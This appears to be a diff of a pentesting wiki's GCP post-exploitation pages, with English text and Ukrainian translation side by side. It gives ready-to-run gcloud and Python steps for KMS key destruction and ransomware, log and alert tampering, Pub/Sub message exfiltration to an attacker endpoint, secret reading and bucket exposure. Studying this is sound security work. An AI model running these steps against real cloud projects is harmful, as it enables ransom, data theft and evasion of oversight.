Доступ до [консолі управління GCP](https://console.cloud.google.com) **надається обліковим записам користувачів, а не обліковим записам служб**. Щоб увійти в веб-інтерфейс, ви можете **надати доступ до облікового запису Google**, яким ви керуєте. Це може бути загальний "**@gmail.com**" обліковий запис, він **не обов'язково має бути членом цільової організації**.
To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor.
You can use the following command to **grant a user the primitive role of Editor** to your existing project:
Щоб **надати** первинну роль **Власник** загальному обліковому запису "@gmail.com", вам потрібно буде **використати веб-консоль**. `gcloud` видасть помилку, якщо ви спробуєте надати йому дозвіл вище Редактора.
Ви можете використовувати наступну команду, щоб **надати користувачу первинну роль Редактор** у вашому існуючому проекті:
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
Якщо ви досягли успіху тут, спробуйте **доступитися до веб-інтерфейсу** та дослідити звідти.
If you succeeded here, try **accessing the web interface** and exploring from there.
This is the **highest level you can assign using the gcloud tool**.
Це **найвищий рівень, який ви можете призначити за допомогою інструменту gcloud**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - KMS Post Exploitation
# GCP - KMS Постексплуатація
{{#include ../../../banners/hacktricks-training.md}}
## KMS
Find basic information about KMS in:
Знайдіть основну інформацію про KMS у:
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,38 +12,37 @@ Find basic information about KMS in:
### `cloudkms.cryptoKeyVersions.destroy`
An attacker with this permission could destroy a KMS version. In order to do this you first need to disable the key and then destroy it:
Зловмисник з цим дозволом міг би знищити версію KMS. Для цього спочатку потрібно вимкнути ключ, а потім знищити його:
```python
# pip install google-cloud-kms
from google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})
# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})
# Example usage
project_id = 'your-project-id'
@@ -58,125 +57,119 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```
### KMS Ransomware
In AWS it's possible to completely **steal a KMS key** by modifying the KMS resource policy and only allowing the attackers account to use the key. As these resource policies doesn't exist in GCP this is not possible.
В AWS можливо повністю **вкрасти KMS ключ** шляхом зміни політики ресурсів KMS і дозволивши лише обліковому запису зловмисника використовувати ключ. Оскільки такі політики ресурсів не існують у GCP, це неможливо.
However, there is another way to perform a global KMS Ransomware, which would involve the following steps:
- Create a new **version of the key with a key material** imported by the attacker
Однак є інший спосіб виконати глобальний KMS Ransomware, який включатиме наступні кроки:
- Створити нову **версію ключа з матеріалом ключа**, імпортованим зловмисником
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Встановіть його як **версію за замовчуванням** (для майбутніх даних, що шифруються)
- **Перешифруйте старі дані**, зашифровані попередньою версією, новою.
- **Видаліть KMS ключ**
- Тепер лише зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
- Set it as **default version** (for future data being encrypted)
- **Re-encrypt older data** encrypted with the previous version with the new one.
- **Delete the KMS key**
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
#### Here are the steps to import a new version and disable/delete the older data:
#### Ось кроки для імпорту нової версії та відключення/видалення старих даних:
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc
# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -
# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"
# Generate key material
openssl rand -out my-key-material.bin 32
# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin
# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key
# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2
# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -
# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1
# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1
```
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
```python
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
@@ -188,30 +181,28 @@ plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
```
### `cloudkms.cryptoKeyVersions.useToSign`
```python
import hashlib
from google.cloud import kms
def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature
# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature
# Example usage for signing
project_id = 'your-project-id'
@@ -224,38 +215,31 @@ message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)
```
### `cloudkms.cryptoKeyVersions.useToVerify`
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,13 +4,13 @@
## Basic Information
For more information check:
Для отримання додаткової інформації перегляньте:
{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}
For other ways to disrupt monitoring check:
Для інших способів порушення моніторингу перегляньте:
{{#ref}}
gcp-monitoring-post-exploitation.md
@@ -18,14 +18,13 @@ gcp-monitoring-post-exploitation.md
### Default Logging
**By default you won't get caught just for performing read actions. Fore more info check the Logging Enum section.**
**За замовчуванням вас не спіймають лише за виконання дій читання. Для отримання додаткової інформації перегляньте розділ Logging Enum.**
### Add Excepted Principal
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.
У [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) та [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) можливо додати принципали, щоб не генерувати логи. Зловмисник може зловживати цим, щоб уникнути спіймання.
### Read logs - `logging.logEntries.list`
```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -35,80 +34,58 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
```
### `logging.logs.delete`
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
```
### Write logs - `logging.logEntries.create`
### Записати журнали - `logging.logEntries.create`
```bash
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
```
### `logging.buckets.update`
```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
```
### `logging.buckets.delete`
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>
```
### `logging.links.delete`
```bash
# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
```
### `logging.views.delete`
```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
```
### `logging.views.update`
```bash
# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
```
### `logging.logMetrics.update`
```bash
# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
```
### `logging.logMetrics.delete`
```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>
```
### `logging.sinks.delete`
```bash
# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>
```
### `logging.sinks.update`
```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled
@@ -129,9 +106,4 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,16 +1,16 @@
# GCP - Monitoring Post Exploitation
# GCP - Моніторинг Після Експлуатації
{{#include ../../../banners/hacktricks-training.md}}
## Monitoring
## Моніторинг
Fore more information check:
Для отримання додаткової інформації перегляньте:
{{#ref}}
../gcp-services/gcp-monitoring-enum.md
{{#endref}}
For other ways to disrupt logs check:
Для інших способів порушення журналів перегляньте:
{{#ref}}
gcp-logging-post-exploitation.md
@@ -18,16 +18,13 @@ gcp-logging-post-exploitation.md
### `monitoring.alertPolicies.delete`
Delete an alert policy:
Видалити політику сповіщення:
```bash
gcloud alpha monitoring policies delete <policy>
```
### `monitoring.alertPolicies.update`
Disrupt an alert policy:
Порушити політику сповіщень:
```bash
# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled
@@ -42,48 +39,40 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>
```
### `monitoring.dashboards.update`
Modify a dashboard to disrupt it:
Змініть інформаційну панель, щоб порушити її:
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''
```
### `monitoring.dashboards.delete`
Delete a dashboard:
Видалити інформаційну панель:
```bash
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>
```
### `monitoring.snoozes.create`
Prevent policies from generating alerts by creating a snoozer:
Запобігайте генерації сповіщень політиками, створюючи снузер:
```bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
```
### `monitoring.snoozes.update`
Update the timing of a snoozer to prevent alerts from being created when the attacker is interested:
Оновіть час сну, щоб запобігти створенню сповіщень, коли зловмисник зацікавлений:
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
@@ -91,28 +80,19 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
```
### `monitoring.notificationChannels.delete`
Delete a configured channel:
Видалити налаштований канал:
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>
```
### `monitoring.notificationChannels.update`
Update labels of a channel to disrupt it:
Оновіть мітки каналу, щоб порушити його:
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Pub/Sub
For more information about Pub/Sub check the following page:
Для отримання додаткової інформації про Pub/Sub перегляньте наступну сторінку:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,49 +12,40 @@ For more information about Pub/Sub check the following page:
### `pubsub.topics.publish`
Publish a message in a topic, useful to **send unexpected data** and trigger unexpected functionalities or exploit vulnerabilities:
Опублікуйте повідомлення в темі, корисно для **відправки несподіваних даних** та активації несподіваних функцій або експлуатації вразливостей:
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
```
### `pubsub.topics.detachSubscription`
Useful to prevent a subscription from receiving messages, maybe to avoid detection.
Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
### `pubsub.topics.delete`
Useful to prevent a subscription from receiving messages, maybe to avoid detection.\
It's possible to delete a topic even with subscriptions attached to it.
Корисно для запобігання отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.\
Можливо видалити тему, навіть якщо до неї прикріплені підписки.
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
### `pubsub.topics.update`
Use this permission to update some setting of the topic to disrupt it, like `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
Використовуйте цей дозвіл, щоб оновити деякі налаштування теми, щоб порушити її, такі як `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Give yourself permission to perform any of the previous attacks.
Надайте собі дозвіл виконувати будь-які з попередніх атак.
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Get all the messages in a web server:
Отримайте всі повідомлення на веб-сервері:
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
Create a subscription and use it to **pull messages**:
Створіть підписку та використовуйте її для **витягування повідомлень**:
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -63,82 +54,67 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
```
### `pubsub.subscriptions.delete`
**Delete a subscription** could be useful to disrupt a log processing system or something similar:
**Видалення підписки** може бути корисним для порушення системи обробки журналів або чогось подібного:
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
### `pubsub.subscriptions.update`
Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.
Використовуйте цей дозвіл, щоб оновити деякі налаштування, щоб повідомлення зберігалися в місці, до якого ви маєте доступ (URL, таблиця Big Query, Bucket) або просто щоб порушити це.
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
### `pubsub.subscriptions.setIamPolicy`
Give yourself the permissions needed to perform any of the previously commented attacks.
Надайте собі дозволи, необхідні для виконання будь-яких з раніше коментованих атак.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\
If there aren't any schemas you might need to create one.
Атакуйте схему на тему, щоб повідомлення не відповідали їй, і, отже, тема була порушена.\
Якщо немає жодних схем, можливо, вам потрібно буде створити одну.
```json:schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
```
```bash
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
```
### `pubsub.schemas.delete`
This might look like deleting a schema you will be able to send messages that doesn't fulfil with the schema. However, as the schema will be deleted no message will actually enter inside the topic. So this is **USELESS**:
Це може виглядати як видалення схеми, але ви зможете надсилати повідомлення, які не відповідають схемі. Однак, оскільки схема буде видалена, жодне повідомлення насправді не потрапить у тему. Тож це **БЕЗГЛУЗДО**:
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
### `pubsub.schemas.setIamPolicy`
Give yourself the permissions needed to perform any of the previously commented attacks.
Надайте собі дозволи, необхідні для виконання будь-яких з раніше згаданих атак.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
This is will create a snapshot of all the unACKed messages and put them back to the subscription. Not very useful for an attacker but here it's:
Це створить знімок усіх не підтверджених повідомлень і поверне їх назад до підписки. Не дуже корисно для атакуючого, але ось так:
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
--snapshot=YOUR_SNAPSHOT_NAME
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Secretmanager
For more information about Secret Manager check:
Для отримання додаткової інформації про Secret Manager перегляньте:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,15 +12,9 @@ For more information about Secret Manager check:
### `secretmanager.versions.access`
This give you access to read the secrets from the secret manager and maybe this could help to escalate privielegs (depending on which information is sotred inside the secret):
Це дає вам доступ до читання секретів з менеджера секретів і, можливо, це може допомогти підвищити привілеї (залежно від того, яка інформація зберігається в секреті):
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GCP - Security Post Exploitation
# GCP - Безпека після експлуатації
{{#include ../../../banners/hacktricks-training.md}}
## Security
## Безпека
For more information check:
Для отримання додаткової інформації перегляньте:
{{#ref}}
../gcp-services/gcp-security-enum.md
@@ -12,51 +12,37 @@ For more information check:
### `securitycenter.muteconfigs.create`
Prevent generation of findings that could detect an attacker by creating a `muteconfig`:
Запобігти генерації висновків, які можуть виявити зловмисника, створивши `muteconfig`:
```bash
# Create Muteconfig
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
### `securitycenter.muteconfigs.update`
Prevent generation of findings that could detect an attacker by updating a `muteconfig`:
Запобігти генерації висновків, які можуть виявити зловмисника, оновивши `muteconfig`:
```bash
# Update Muteconfig
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
### `securitycenter.findings.bulkMuteUpdate`
Mute findings based on a filer:
Затримати результати на основі фільтра:
```bash
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
A muted finding won't appear in the SCC dashboard and reports.
Заглушене виявлення не з'явиться на панелі інструментів SCC та в звітах.
### `securitycenter.findings.setMute`
Mute findings based on source, findings...
Заглушити виявлення на основі джерела, виявлень...
```bash
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
```
### `securitycenter.findings.update`
Update a finding to indicate erroneous information:
Оновіть виявлення, щоб вказати на помилкову інформацію:
```bash
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,16 +4,15 @@
## Cloud Storage
For more information about CLoud Storage check this page:
Для отримання додаткової інформації про Cloud Storage перегляньте цю сторінку:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
### Give Public Access
It's possible to give external users (logged in GCP or not) access to buckets content. However, by default bucket will have disabled the option to expose publicly a bucket:
### Надати публічний доступ
Можливо надати зовнішнім користувачам (входять в GCP чи ні) доступ до вмісту бакетів. Однак за замовчуванням опція публічного доступу до бакета буде вимкнена:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -26,13 +25,8 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
Якщо ви спробуєте надати **ACL для кошика з вимкненими ACL** ви отримаєте цю помилку: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
To access open buckets via browser, access the URL `https://<bucket_name>.storage.googleapis.com/` or `https://<bucket_name>.storage.googleapis.com/<object_name>`
Щоб отримати доступ до відкритих кошиків через браузер, перейдіть за URL-адресою `https://<bucket_name>.storage.googleapis.com/` або `https://<bucket_name>.storage.googleapis.com/<object_name>`
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,25 +1,21 @@
# GCP - Workflows Post Exploitation
# GCP - Робочі процеси після експлуатації
{{#include ../../../banners/hacktricks-training.md}}
## Workflow
## Робочий процес
Basic information:
Основна інформація:
{{#ref}}
../gcp-services/gcp-workflows-enum.md
{{#endref}}
### Post Exploitation
### Після експлуатації
The post exploitation techniques are actually the same ones as the ones shared in the Workflows Privesc section:
Техніки після експлуатації насправді є тими ж, що й ті, що були представлені в розділі Privesc робочих процесів:
{{#ref}}
../gcp-privilege-escalation/gcp-workflows-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}